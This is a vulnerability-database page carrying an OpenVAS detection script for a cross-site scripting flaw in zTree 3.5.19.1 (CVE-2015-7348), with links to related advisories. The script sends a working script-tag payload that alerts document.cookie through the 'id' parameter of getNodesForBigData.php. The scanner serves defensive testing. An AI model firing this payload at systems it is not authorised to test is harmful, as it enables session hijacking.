Lucene search
+L

zTree Cross Site Scripting Vulnerability

🗓️ 16 Dec 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 20 Views

zTree prone to cross-site scripting (XSS) vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
zTree 3.5.19.1 Cross Site Scripting Vulnerability
18 Nov 201500:00
zdt
cnvd
CNVD
zTree Cross-Site Scripting Vulnerability
22 Nov 201500:00
cnvd
cve
CVE
CVE-2015-7348
7 Dec 201520:00
cve
cvelist
Cvelist
CVE-2015-7348
7 Dec 201520:00
cvelist
euvd
EUVD
EUVD-2015-7272
7 Oct 202500:30
euvd
nvd
NVD
CVE-2015-7348
7 Dec 201520:59
nvd
packetstorm
Packet Storm
zTree 3.5.19.1 Cross Site Scripting
17 Nov 201500:00
packetstorm
prion
Prion
Cross site scripting
7 Dec 201520:59
prion
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:ztree_project:ztree";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.806901");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-12-16 11:04:52 +0530 (Wed, 16 Dec 2015)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_name("zTree Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"zTree is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"The flaw exists due to an improper
  sanitization of 'id' parameter in getNodesForBigData.php script.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attacker to execute arbitrary web script code in a user's browser session within
  the trust relationship between their browser and the server.");

  script_tag(name:"affected", value:"zTree version 3.5.19.1 and possibly below");

  script_tag(name:"solution", value:"Upgrade to zTree 3.5.22 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_xref(name:"URL", value:"https://www.netsparker.com/cve-2015-7348-multiple-xss-vulnerabilities-identified-in-ztree");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_ztree_detect.nasl");
  script_mandatory_keys("zTree/Installed");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"https://github.com/zTree/zTree_v3");
  exit(0);
}


include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

url = dir + '/en/asyncData/getNodesForBigData.php?id=""<scRipt>alert(docu' +
            'ment.cookie)</scRipt>';

if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
           pattern:"<scRipt>alert\(document.cookie\)</scRipt",
           extra_check:"name:'tree"))
{
  report = http_report_vuln_url(port:http_port, url:url);
  security_message(port:http_port, data:report);
  exit(0);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation